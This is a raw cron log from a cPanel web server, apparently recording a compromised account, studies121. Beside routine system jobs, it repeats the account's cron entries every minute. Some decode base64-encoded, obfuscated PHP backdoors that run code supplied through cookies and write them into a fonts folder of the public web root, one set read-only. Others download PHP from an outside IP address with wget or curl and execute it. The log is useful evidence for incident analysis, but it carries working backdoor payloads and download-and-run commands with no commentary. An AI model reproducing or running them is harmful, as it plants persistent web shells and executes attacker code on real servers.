Sep  9 09:13:01 ip-184-168-122-23 CROND[19049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:13:01 ip-184-168-122-23 CROND[19050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:13:01 ip-184-168-122-23 CROND[19053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:14:01 ip-184-168-122-23 CROND[19163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:14:01 ip-184-168-122-23 CROND[19167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:14:01 ip-184-168-122-23 CROND[19165]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:14:01 ip-184-168-122-23 CROND[19166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:14:01 ip-184-168-122-23 CROND[19168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:15:01 ip-184-168-122-23 CROND[19282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:15:01 ip-184-168-122-23 CROND[19283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:15:01 ip-184-168-122-23 CROND[19284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:15:01 ip-184-168-122-23 CROND[19289]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:15:01 ip-184-168-122-23 CROND[19288]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:15:01 ip-184-168-122-23 CROND[19293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:16:01 ip-184-168-122-23 CROND[19388]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:16:01 ip-184-168-122-23 CROND[19390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:16:01 ip-184-168-122-23 CROND[19393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:16:01 ip-184-168-122-23 CROND[19392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:16:01 ip-184-168-122-23 CROND[19391]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 09:16:01 ip-184-168-122-23 CROND[19394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:17:01 ip-184-168-122-23 CROND[19592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:17:01 ip-184-168-122-23 CROND[19593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:17:01 ip-184-168-122-23 CROND[19597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:17:01 ip-184-168-122-23 CROND[19598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:18:01 ip-184-168-122-23 CROND[19707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:18:01 ip-184-168-122-23 CROND[19709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:18:01 ip-184-168-122-23 CROND[19711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:18:01 ip-184-168-122-23 CROND[19710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:18:01 ip-184-168-122-23 CROND[19712]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:19:01 ip-184-168-122-23 CROND[19817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:19:01 ip-184-168-122-23 CROND[19820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:19:01 ip-184-168-122-23 CROND[19819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:19:01 ip-184-168-122-23 CROND[19823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:20:01 ip-184-168-122-23 CROND[19950]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:20:02 ip-184-168-122-23 CROND[19953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:20:02 ip-184-168-122-23 CROND[19956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:20:02 ip-184-168-122-23 CROND[19957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:20:02 ip-184-168-122-23 CROND[19955]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 09:20:02 ip-184-168-122-23 CROND[19961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:20:02 ip-184-168-122-23 CROND[19960]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 09:20:02 ip-184-168-122-23 CROND[19958]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:20:02 ip-184-168-122-23 CROND[19959]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:21:01 ip-184-168-122-23 CROND[20135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:21:01 ip-184-168-122-23 CROND[20137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:21:01 ip-184-168-122-23 CROND[20138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:21:01 ip-184-168-122-23 CROND[20139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:22:01 ip-184-168-122-23 CROND[20347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:22:01 ip-184-168-122-23 CROND[20351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:22:01 ip-184-168-122-23 CROND[20350]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:22:01 ip-184-168-122-23 CROND[20349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:22:01 ip-184-168-122-23 CROND[20353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:23:01 ip-184-168-122-23 CROND[20489]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:23:01 ip-184-168-122-23 CROND[20493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:23:01 ip-184-168-122-23 CROND[20496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:23:01 ip-184-168-122-23 CROND[20497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:24:01 ip-184-168-122-23 CROND[20609]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:24:01 ip-184-168-122-23 CROND[20610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:24:01 ip-184-168-122-23 CROND[20612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:24:01 ip-184-168-122-23 CROND[20611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:24:01 ip-184-168-122-23 CROND[20613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:25:01 ip-184-168-122-23 CROND[20723]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:25:01 ip-184-168-122-23 CROND[20724]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
